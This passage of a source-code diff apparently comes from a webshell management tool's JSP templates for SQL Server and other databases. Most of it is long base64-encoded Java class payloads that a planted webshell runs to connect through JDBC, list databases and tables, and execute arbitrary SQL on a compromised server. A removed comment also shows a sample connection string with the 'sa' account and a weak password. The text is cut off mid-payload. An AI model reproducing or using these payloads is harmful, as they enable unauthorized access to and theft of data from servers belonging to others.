BAABACIAAABkAGUAAgBRAAABvwAEABAAAAEPEgc6ByostgAYTSy2ADoSOxI8tgA9Ejy2AD46CBkIAzK2ADq4AD9XGQgEMjoJGQkZCAUyGQgGMrgAQDoKGQq5AEEBADoLGQstuQBCAgA6DBkMuQBDAQA6DRUGmQBUBDYOFQ4ZDbkARAEAowAvGQ0VDrkARQIAOg+7ABJZtwATGQe2ABUZD7YAFRkEtgAVtgAWOgeEDgGn/8u7ABJZtwATGQe2ABUZBbYAFbYAFjoHGQy5AEYBAJkAVwQ2DhUOGQ25AEQBAKMALxkMFQ65AEcCADoPuwASWbcAExkHtgAVGQ+2ABUZBLYAFbYAFjoHhA4Bp//LuwASWbcAExkHtgAVGQW2ABW2ABY6B6f/pRkHsAAAAAIAUgAAAFoAFgAAAEAABABBAAoAQgAcAEMAJwBEAC0ARQA8AEYARQBHAE8ASABYAEoAXQBLAGwATAB3AE0AkgBLAJgATwCuAFIAuABTAMcAVADSAFUA7QBTAPMAVwEMAFkAVQAAAD4ABv8AYAAPBwBWBwBcBwBcBwBcBwBcBwBcAQcAXAcAZgcAXAcAZwcAaAcAaQcAagEAAPoANxX8AAwB+gA3GABhAAAABAABACIAAABrAGwAAgBRAAAANQAHAAYAAAAVEkg6BBI7OgUqKywtGQQZBQS2AEmwAAAAAQBSAAAADgADAAAAXAAEAF0ACABeAGEAAAAEAAEAIgABAG0AAAACAG4=',
-      'var0': '#{encode}',
-      'var1': '#{conn}',
-      'var2': '#{sql}'
+      _: 'yv66vgAAADMBLAoAQwB7BwB8CgACAH0KAAIAfggAfwkAWwCACACBCQBbAIIIAIMJAFsAhAcAhQgAhgoACwCHCACICACJCACKCACLCACMCACNCwCOAI8LAJAAkQsAjgCRBwCSCgAXAHsLAJAAkwoAFwCUCgAXAJUKAFsAlgoAWwCXCgALAJgKAFsAmQoACwCVCgACAJoKAJsAnAcAnQgAngoAIwCVCACfCgAoAKAHAKEKACgAogoAKACjCgCkAKUKACgApggApwgAqAoAKACpBwCqCgAoAKsKADAArAoAKACtCgAoAK4KABcArwgAsAoAMACxCACyCgAwALMIALQKALUAtggAtwoAKAC4CAC5CgBBALoIALsHALwKAEEAvQcAvgoAvwDACgBDAMEIAHEHAMIIAMMKAEEAxAoAxQDGCADHCgAoAMgIAMkIAMoKACgAywoAKADMCgDNAM4LAM8A0AsA0QDSCwDTANQLANUA1gsA1QDXCwDTANgLANMA2QgA2goAWwDbBwDcAQAHZW5jb2RlcgEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAAmNzAQAMcmFuZG9tUHJlZml4AQAGPGluaXQ+AQADKClWAQAEQ29kZQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEADVN0YWNrTWFwVGFibGUHANwHAL4HAHwHAN0HAN4HAIUHAKEHAJ0BAAJFQwEASihMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAKRXhjZXB0aW9ucwEABmRlY29kZQcAqgEACmV4ZWN1dGVTUUwBAG8oTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7WilMamF2YS9sYW5nL1N0cmluZzsHAN8HAOAHAOEHAOIHAOMBAAVxdWVyeQwAYABhAQAdamF2YXgvc2VydmxldC9qc3AvUGFnZUNvbnRleHQMAOQA5QwA5gDnAQAUYW50c3dvcmRyYW5kb21QcmVmaXgMAF8AXQEABmJhc2U2NAwAXABdAQAPYW50c3dvcmRDaGFyc2V0DABeAF0BABZqYXZhL2xhbmcvU3RyaW5nQnVmZmVyAQAADABgAOgBAAMtPnwBAAN8PC0BABFhbnRzd29yZGFyZ2VuY29kZQEAD2FudHN3b3JkYXJnY29ubgEADmFudHN3b3JkYXJnc3FsAQAJdGV4dC9odG1sBwDeDADpAOgHAN0MAOoA6AEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDADrAOwMAO0A7gwA7wDwDABxAG8MAG4AbwwA7QDxDAB6AG8MAPIA8wcA9AwA9QDoAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEACUVSUk9SOi8vIAEAA2hleAwAYwBkAQAQamF2YS9sYW5nL1N0cmluZwwA9gD3DABgAPgHAPkMAPoA+wwA/AD9AQAEbnVsbAEAEDAxMjM0NTY3ODlBQkNERUYMAP4A8AEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtDAD/AQAMAGABAQwBAgEDDAEEAQUMAO0BBgEAASwMAQcBAQEABVVURi04DADvAOwBAAxqYXZhLnZlcnNpb24HAQgMAQkA7AEAAzEuOQwBCgD7AQAQamF2YS51dGlsLkJhc2U2NAwBCwEMAQAKZ2V0RGVjb2RlcgEAD2phdmEvbGFuZy9DbGFzcwwBDQEOAQAQamF2YS9sYW5nL09iamVjdAcBDwwBEAERDAESARMBAAJbQgEAFnN1bi5taXNjLkJBU0U2NERlY29kZXIMARQBFQcBFgwBFwEYAQAMZGVjb2RlQnVmZmVyDAEZAPABAAINCgEAAQoMARoBGwwBHAEdBwEeDAEfASAHAOAMASEBIgcA4QwBIwEkBwDiDAElASYHAOMMAScBAAwBKAD9DAEpASoMASsA/QEAAwl8CQwAcwB0AQAFUXVlcnkBABxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0AQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UBABNbTGphdmEvbGFuZy9TdHJpbmc7AQATamF2YS9zcWwvQ29ubmVjdGlvbgEAEmphdmEvc3FsL1N0YXRlbWVudAEAEmphdmEvc3FsL1Jlc3VsdFNldAEAGmphdmEvc3FsL1Jlc3VsdFNldE1ldGFEYXRhAQAKZ2V0UmVxdWVzdAEAICgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7AQALZ2V0UmVzcG9uc2UBACEoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA5zZXRDb250ZW50VHlwZQEAFHNldENoYXJhY3RlckVuY29kaW5nAQAMZ2V0UGFyYW1ldGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAsKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1ZmZlcjsBAAZnZXRPdXQBAB8oKUxqYXZheC9zZXJ2bGV0L2pzcC9Kc3BXcml0ZXI7AQAbamF2YXgvc2VydmxldC9qc3AvSnNwV3JpdGVyAQAFcHJpbnQBAAhnZXRCeXRlcwEABCgpW0IBABcoW0JMamF2YS9sYW5nL1N0cmluZzspVgEAEWphdmEvbGFuZy9JbnRlZ2VyAQAIcGFyc2VJbnQBABUoTGphdmEvbGFuZy9TdHJpbmc7KUkBAAlzdWJzdHJpbmcBABUoSSlMamF2YS9sYW5nL1N0cmluZzsBAAt0b1VwcGVyQ2FzZQEABmxlbmd0aAEAAygpSQEABChJKVYBAAZjaGFyQXQBAAQoSSlDAQAHaW5kZXhPZgEABChJKUkBABwoSSlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAFd3JpdGUBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBAAljb21wYXJlVG8BAAdmb3JOYW1lAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBABZnZXREZWNsYXJlZENvbnN0cnVjdG9yAQAzKFtMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3I7AQAdamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3IBAAtuZXdJbnN0YW5jZQEAJyhbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEABHRyaW0BAAdyZXBsYWNlAQBEKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlO0xqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylMamF2YS9sYW5nL1N0cmluZzsBAAVzcGxpdAEAJyhMamF2YS9sYW5nL1N0cmluZzspW0xqYXZhL2xhbmcvU3RyaW5nOwEAFmphdmEvc3FsL0RyaXZlck1hbmFnZXIBAA1nZXRDb25uZWN0aW9uAQBNKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9zcWwvQ29ubmVjdGlvbjsBAA9jcmVhdGVTdGF0ZW1lbnQBABYoKUxqYXZhL3NxbC9TdGF0ZW1lbnQ7AQAMZXhlY3V0ZVF1ZXJ5AQAoKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9zcWwvUmVzdWx0U2V0OwEAC2dldE1ldGFEYXRhAQAeKClMamF2YS9zcWwvUmVzdWx0U2V0TWV0YURhdGE7AQAOZ2V0Q29sdW1uQ291bnQBAA1nZXRDb2x1bW5OYW1lAQAEbmV4dAEAAygpWgEACWdldFN0cmluZwAhAFsAQwAAAAMAAQBcAF0AAAABAF4AXQAAAAEAXwBdAAAABgABAGAAYQABAGIAAAARAAEAAQAAAAUqtwABsQAAAAAAAQBjAGQAAQBiAAABrAAFAA8AAAFhK8AAAk0stgADTiy2AAQ6BCoSBbUABioSB7UACCoSCbUACrsAC1kSDLcADToFuwALWRIMtwANOgYSDjoHEg86CBIQOgkSEToKEhI6CxkEEhO5ABQCAC0qtAAKuQAVAgAZBCq0AAq5ABYCACoquwAXWbcAGC0ZCbkAGQIAtgAaEgy2ABq2ABsqtAAIKrQACrYAHCq0AAgqtAAKtgAdOgwqKrsAF1m3ABgtGQq5ABkCALYAGhIMtgAatgAbKrQACCq0AAq2ABwqtAAIKrQACrYAHToNKiq7ABdZtwAYLRkLuQAZAgC2ABoSDLYAGrYAGyq0AAgqtAAKtgAcKrQACCq0AAq2AB06DhkFGQe2AB5XGQYqGQwZDRkOtgAftgAeVxkFGQa2ACC2AB5XGQUZCLYAHlcstgAhGQW2ACC2ACKnACI6DBkGuwAXWbcAGBIktgAaGQy2ACW2ABq2ABu2AB5XBKwAAQBMAT0BQAAjAAEAZQAAADEAAv8BQAAMBwBmBwBnBwBoBwBpBwBqBwBrBwBrBwBsBwBsBwBsBwBsBwBsAAEHAG0eAAAAbgBvAAIAYgAAADQABAAEAAAAHiwSJrYAJ5oACSwSJqYABSuwuwAoWSu2ACkttwAqsAAAAAEAZQAAAAQAAg8BAHAAAAAEAAEAIwAAAHEAbwACAGIAAAHtAAYACQAAAYIDNgQqtAAGuAArNgQrFQS2ACxMpwAIOgUDNgQsEia2ACeaAAksEiamAJ8rEi2lAAwrEi22ACeZAAYSDLASLjoFK7YAL0y7ADBZK7YAMQVstwAyOgYSDDoHAzYIFQgrtgAxogBduwAXWbcAGBkHtgAaGQUrFQi2ADO2ADQHeBkFKxUIBGC2ADO2ADSAtgA1Eja2ABq2ABs6BxkGGQUrFQi2ADO2ADQHeBkFKxUIBGC2ADO2ADSAtgA3hAgCp/+gGQYSOLYAObAsEge2ACeaAAksEgemAK4BOgUSOrgAOzoGGQYSPLYAPZsATBI+uAA/OgcZBxJAA70AQbYAQhkHA70AQ7YARDoIGQi2AEUSRgS9AEFZAxMAKFO2AEIZCAS9AENZAytTtgBEwABHwABHOgWnAEUSSLgAPzoHGQcDvQBBtgBJA70AQ7YASjoIGQi2AEUSSwS9AEFZAxMAKFO2AEIZCAS9AENZAytTtgBEwABHwABHOgW7AChZGQUSOLcAKrArsAABAAMAEwAWACMAAQBlAAAAUQAM/wAWAAUHAGYHAGwHAGwHAGwBAAEHAG0EDg4C/wAeAAkHAGYHAGwHAGwHAGwBBwBsBwByBwBsAQAA+gBi+AAHDv0AXAcARwcAbPsAQfkACwBwAAAABAABACMAAABzAHQAAgBiAAABWQAEABAAAAEJEgw6Byy2AEwSTRJOtgBPEk62AFA6CBkIAzK2AEy4AD9XGQgEMjoJGQkZCAUyGQgGMrgAUToKGQq5AFIBADoLGQstuQBTAgA6DBkMuQBUAQA6DRUGmQBUBDYOFQ4ZDbkAVQEAowAvGQ0VDrkAVgIAOg+7ABdZtwAYGQe2ABoZD7YAGhkEtgAatgAbOgeEDgGn/8u7ABdZtwAYGQe2ABoZBbYAGrYAGzoHGQy5AFcBAJkAVwQ2DhUOGQ25AFUBAKMALxkMFQ65AFgCADoPuwAXWbcAGBkHtgAaGQ+2ABoZBLYAGrYAGzoHhA4Bp//LuwAXWbcAGBkHtgAaGQW2ABq2ABs6B6f/pRkHsAAAAAEAZQAAAD4ABv8AWgAPBwBmBwBsBwBsBwBsBwBsBwBsAQcAbAcAdQcAbAcAdgcAdwcAeAcAeQEAAPoANxX8AAwB+gA3GABwAAAABAABACMAAAB6AG8AAgBiAAAAIQAHAAYAAAAVElk6BBJNOgUqKywtGQQZBQS2AFqwAAAAAABwAAAABAABACMAAA==',
+      [arg1]: '#{newbase64::encode}',
+      [arg2]: '#{newbase64::conn}',
+      [arg3]: '#{newbase64::sql}'
     }
   })

source/core/jsp/template/database/sqlserver.js

-/*
-<T>XDB</T>
-<X>
-com.microsoft.sqlserver.jdbc.SQLServerDriver
-jdbc:sqlserver://127.0.0.1:1433;databaseName=test;user=sa;password=123456
-</X>
-*/
+//
+// sqlserver 代码模板
+//
+// @params
+// :encode  SHELL编码
+// :conn    数据库连接字符串
+// :sql     执行SQL语句
+// :db      数据库名
+// :table   表名
 
-module.exports = require('./default');
+module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
\ No newline at end of file
+  show_databases: {
+    _: 'yv66vgAAADMBLQoAQgB8BwB9CgACAH4KAAIAfwgAgAkAWwCBCACCCQBbAIMIAIQJAFsAhQcAhggAhwoACwCICACJCACKCACLCACMCACNCwCOAI8LAJAAkQsAjgCRBwCSCgAWAHwLAJAAkwoAFgCUCgAWAJUKAFsAlgoAWwCXCgALAJgKAFsAmQoACwCVCgACAJoKAJsAnAcAnQgAngoAIgCVCACfCgAnAKAHAKEKACcAogoAJwCjCgCkAKUKACcApggApwgAqAoAJwCpBwCqCgAnAKsKAC8ArAoAJwCtCgAnAK4KABYArwgAsAoALwCxCACyCgAvALMIALQKALUAtggAtwoAJwC4CAC5CgBAALoIALsHALwKAEAAvQcAvgoAvwDACgBCAMEIAHEHAMIIAMMKAEAAxAoAxQDGCADHCgAnAMgIAMkIAMoKACcAywoAJwDMCgDNAM4LAM8A0AsA0QDSCwDTANQLANUA1gsA1QDXCwDTANgLANMA2QgA2ggA2woAWwDcBwDdAQAHZW5jb2RlcgEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAAmNzAQAMcmFuZG9tUHJlZml4AQAGPGluaXQ+AQADKClWAQAEQ29kZQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEADVN0YWNrTWFwVGFibGUHAN0HAL4HAH0HAN4HAN8HAIYHAKEHAJ0BAAJFQwEASihMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAKRXhjZXB0aW9ucwEABmRlY29kZQcAqgEACmV4ZWN1dGVTUUwBAG8oTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7WilMamF2YS9sYW5nL1N0cmluZzsHAOAHAOEHAOIHAOMHAOQBAA1zaG93RGF0YWJhc2VzAQA4KExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsMAGAAYQEAHWphdmF4L3NlcnZsZXQvanNwL1BhZ2VDb250ZXh0DADlAOYMAOcA6AEAFGFudHN3b3JkcmFuZG9tUHJlZml4DABfAF0BAAZiYXNlNjQMAFwAXQEAD2FudHN3b3JkQ2hhcnNldAwAXgBdAQAWamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgEAAAwAYADpAQADLT58AQADfDwtAQARYW50c3dvcmRhcmdlbmNvZGUBAA9hbnRzd29yZGFyZ2Nvbm4BAAl0ZXh0L2h0bWwHAN8MAOoA6QcA3gwA6wDpAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIMAOwA7QwA7gDvDADwAPEMAHEAbwwAbgBvDADuAPIMAHoAewwA8wD0BwD1DAD2AOkBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAJRVJST1I6Ly8gAQADaGV4DABjAGQBABBqYXZhL2xhbmcvU3RyaW5nDAD3APgMAGAA+QcA+gwA+wD8DAD9AP4BAARudWxsAQAQMDEyMzQ1Njc4OUFCQ0RFRgwA/wDxAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0MAQABAQwAYAECDAEDAQQMAQUBBgwA7gEHAQABLAwBCAECAQAFVVRGLTgMAPAA7QEADGphdmEudmVyc2lvbgcBCQwBCgDtAQADMS45DAELAPwBABBqYXZhLnV0aWwuQmFzZTY0DAEMAQ0BAApnZXREZWNvZGVyAQAPamF2YS9sYW5nL0NsYXNzDAEOAQ8BABBqYXZhL2xhbmcvT2JqZWN0BwEQDAERARIMARMBFAEAAltCAQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgwBFQEWBwEXDAEYARkBAAxkZWNvZGVCdWZmZXIMARoA8QEAAg0KAQABCgwBGwEcDAEdAR4HAR8MASABIQcA4QwBIgEjBwDiDAEkASUHAOMMASYBJwcA5AwBKAEBDAEpAP4MASoBKwwBLAD+AQA1c2VsZWN0IFtuYW1lXSBmcm9tIG1hc3Rlci5kYm8uc3lzZGF0YWJhc2VzIG9yZGVyIGJ5IDEBAAEJDABzAHQBAA5TaG93X2RhdGFiYXNlcwEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEAE1tMamF2YS9sYW5nL1N0cmluZzsBABNqYXZhL3NxbC9Db25uZWN0aW9uAQASamF2YS9zcWwvU3RhdGVtZW50AQASamF2YS9zcWwvUmVzdWx0U2V0AQAaamF2YS9zcWwvUmVzdWx0U2V0TWV0YURhdGEBAApnZXRSZXF1ZXN0AQAgKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAAtnZXRSZXNwb25zZQEAISgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOwEAFShMamF2YS9sYW5nL1N0cmluZzspVgEADnNldENvbnRlbnRUeXBlAQAUc2V0Q2hhcmFjdGVyRW5jb2RpbmcBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAUKClMamF2YS9sYW5nL1N0cmluZzsBACwoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVmZmVyOwEABmdldE91dAEAHygpTGphdmF4L3NlcnZsZXQvanNwL0pzcFdyaXRlcjsBABtqYXZheC9zZXJ2bGV0L2pzcC9Kc3BXcml0ZXIBAAVwcmludAEACGdldEJ5dGVzAQAEKClbQgEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWAQARamF2YS9sYW5nL0ludGVnZXIBAAhwYXJzZUludAEAFShMamF2YS9sYW5nL1N0cmluZzspSQEACXN1YnN0cmluZwEAFShJKUxqYXZhL2xhbmcvU3RyaW5nOwEAC3RvVXBwZXJDYXNlAQAGbGVuZ3RoAQADKClJAQAEKEkpVgEABmNoYXJBdAEABChJKUMBAAdpbmRleE9mAQAEKEkpSQEAHChJKUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAV3cml0ZQEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEACWNvbXBhcmVUbwEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAFmdldERlY2xhcmVkQ29uc3RydWN0b3IBADMoW0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9Db25zdHJ1Y3RvcjsBAB1qYXZhL2xhbmcvcmVmbGVjdC9Db25zdHJ1Y3RvcgEAC25ld0luc3RhbmNlAQAnKFtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAEdHJpbQEAB3JlcGxhY2UBAEQoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7TGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KUxqYXZhL2xhbmcvU3RyaW5nOwEABXNwbGl0AQAnKExqYXZhL2xhbmcvU3RyaW5nOylbTGphdmEvbGFuZy9TdHJpbmc7AQAWamF2YS9zcWwvRHJpdmVyTWFuYWdlcgEADWdldENvbm5lY3Rpb24BACkoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3NxbC9Db25uZWN0aW9uOwEAD2NyZWF0ZVN0YXRlbWVudAEAFigpTGphdmEvc3FsL1N0YXRlbWVudDsBAAxleGVjdXRlUXVlcnkBACgoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3NxbC9SZXN1bHRTZXQ7AQALZ2V0TWV0YURhdGEBAB4oKUxqYXZhL3NxbC9SZXN1bHRTZXRNZXRhRGF0YTsBAA5nZXRDb2x1bW5Db3VudAEADWdldENvbHVtbk5hbWUBAARuZXh0AQADKClaAQAJZ2V0U3RyaW5nACEAWwBCAAAAAwABAFwAXQAAAAEAXgBdAAAAAQBfAF0AAAAGAAEAYABhAAEAYgAAABEAAQABAAAABSq3AAGxAAAAAAABAGMAZAABAGIAAAFvAAUADQAAAScrwAACTSy2AANOLLYABDoEKhIFtQAGKhIHtQAIKhIJtQAKuwALWRIMtwANOgW7AAtZEgy3AA06BhIOOgcSDzoIEhA6CRIROgoZBBISuQATAgAtKrQACrkAFAIAGQQqtAAKuQAVAgAqKrsAFlm3ABctGQm5ABgCALYAGRIMtgAZtgAaKrQACCq0AAq2ABsqtAAIKrQACrYAHDoLKiq7ABZZtwAXLRkKuQAYAgC2ABkSDLYAGbYAGiq0AAgqtAAKtgAbKrQACCq0AAq2ABw6DBkFGQe2AB1XGQYqGQsZDLYAHrYAHVcZBRkGtgAftgAdVxkFGQi2AB1XLLYAIBkFtgAftgAhpwAiOgsZBrsAFlm3ABcSI7YAGRkLtgAktgAZtgAatgAdVwSsAAEASAEDAQYAIgABAGUAAAAuAAL/AQYACwcAZgcAZwcAaAcAaQcAagcAawcAawcAbAcAbAcAbAcAbAABBwBtHgAAAG4AbwACAGIAAAA0AAQABAAAAB4sEiW2ACaaAAksEiWmAAUrsLsAJ1krtgAoLbcAKbAAAAABAGUAAAAEAAIPAQBwAAAABAABACIAAABxAG8AAgBiAAAB7QAGAAkAAAGCAzYEKrQABrgAKjYEKxUEtgArTKcACDoFAzYELBIltgAmmgAJLBIlpgCfKxIspQAMKxIstgAmmQAGEgywEi06BSu2AC5MuwAvWSu2ADAFbLcAMToGEgw6BwM2CBUIK7YAMKIAXbsAFlm3ABcZB7YAGRkFKxUItgAytgAzB3gZBSsVCARgtgAytgAzgLYANBI1tgAZtgAaOgcZBhkFKxUItgAytgAzB3gZBSsVCARgtgAytgAzgLYANoQIAqf/oBkGEje2ADiwLBIHtgAmmgAJLBIHpgCuAToFEjm4ADo6BhkGEju2ADybAEwSPbgAPjoHGQcSPwO9AEC2AEEZBwO9AEK2AEM6CBkItgBEEkUEvQBAWQMTACdTtgBBGQgEvQBCWQMrU7YAQ8AARsAARjoFpwBFEke4AD46BxkHA70AQLYASAO9AEK2AEk6CBkItgBEEkoEvQBAWQMTACdTtgBBGQgEvQBCWQMrU7YAQ8AARsAARjoFuwAnWRkFEje3ACmwK7AAAQADABMAFgAiAAEAZQAAAFEADP8AFgAFBwBmBwBsBwBsBwBsAQABBwBtBA4OAv8AHgAJBwBmBwBsBwBsBwBsAQcAbAcAcgcAbAEAAPoAYvgABw79AFwHAEYHAGz7AEH5AAsAcAAAAAQAAQAiAAAAcwB0AAIAYgAAAVEAAwAQAAABARIMOgcstgBLEkwSTbYAThJNtgBPOggZCAMytgBLuAA+VxkIBDI6CRkJuABQOgoZCrkAUQEAOgsZCy25AFICADoMGQy5AFMBADoNFQaZAFQENg4VDhkNuQBUAQCjAC8ZDRUOuQBVAgA6D7sAFlm3ABcZB7YAGRkPtgAZGQS2ABm2ABo6B4QOAaf/y7sAFlm3ABcZB7YAGRkFtgAZtgAaOgcZDLkAVgEAmQBXBDYOFQ4ZDbkAVAEAowAvGQwVDrkAVwIAOg+7ABZZtwAXGQe2ABkZD7YAGRkEtgAZtgAaOgeEDgGn/8u7ABZZtwAXGQe2ABkZBbYAGbYAGjoHp/+lGQewAAAAAQBlAAAAPgAG/wBSAA8HAGYHAGwHAGwHAGwHAGwHAGwBBwBsBwB1BwBsBwB2BwB3BwB4BwB5AQAA+gA3FfwADAH6ADcYAHAAAAAEAAEAIgAAAHoAewACAGIAAAAkAAcABgAAABgSWE4SWToEEgw6BSorLC0ZBBkFA7YAWrAAAAAAAHAAAAAEAAEAIgAA',
+    [arg1]: '#{newbase64::encode}',
+    [arg2]: '#{newbase64::conn}'
+  },
+  show_tables: {
+    _: 'yv66vgAAADMBLgoAQwB8BwB9CgACAH4KAAIAfwgAgAkAXACBCACCCQBcAIMIAIQJAFwAhQcAhggAhwoACwCICACJCACKCACLCACMCACNCACOCwCPAJALAJEAkgsAjwCSBwCTCgAXAHwLAJEAlAoAFwCVCgAXAJYKAFwAlwoAXACYCgALAJkKAFwAmgoACwCWCgACAJsKAJwAnQcAnggAnwoAIwCWCACgCgAoAKEHAKIKACgAowoAKACkCgClAKYKACgApwgAqAgAqQoAKACqBwCrCgAoAKwKADAArQoAKACuCgAoAK8KABcAsAgAsQoAMACyCACzCgAwALQIALUKALYAtwgAuAoAKAC5CAC6CgBBALsIALwHAL0KAEEAvgcAvwoAwADBCgBDAMIIAHIHAMMIAMQKAEEAxQoAxgDHCADICgAoAMkIAMoIAMsKACgAzAoAKADNCgDOAM8LANAA0QsA0gDTCwDUANULANYA1wsA1gDYCwDUANkLANQA2ggA2wgA3AoAXADdBwDeAQAHZW5jb2RlcgEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAAmNzAQAMcmFuZG9tUHJlZml4AQAGPGluaXQ+AQADKClWAQAEQ29kZQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEADVN0YWNrTWFwVGFibGUHAN4HAL8HAH0HAN8HAOAHAIYHAKIHAJ4BAAJFQwEASihMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAKRXhjZXB0aW9ucwEABmRlY29kZQcAqwEACmV4ZWN1dGVTUUwBAG8oTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7WilMamF2YS9sYW5nL1N0cmluZzsHAOEHAOIHAOMHAOQHAOUBAApzaG93VGFibGVzDABhAGIBAB1qYXZheC9zZXJ2bGV0L2pzcC9QYWdlQ29udGV4dAwA5gDnDADoAOkBABRhbnRzd29yZHJhbmRvbVByZWZpeAwAYABeAQAGYmFzZTY0DABdAF4BAA9hbnRzd29yZENoYXJzZXQMAF8AXgEAFmphdmEvbGFuZy9TdHJpbmdCdWZmZXIBAAAMAGEA6gEAAy0+fAEAA3w8LQEAEWFudHN3b3JkYXJnZW5jb2RlAQAPYW50c3dvcmRhcmdjb25uAQANYW50c3dvcmRhcmdkYgEACXRleHQvaHRtbAcA4AwA6wDqBwDfDADsAOoBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwA7QDuDADvAPAMAPEA8gwAcgBwDABvAHAMAO8A8wwAewBwDAD0APUHAPYMAPcA6gEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAlFU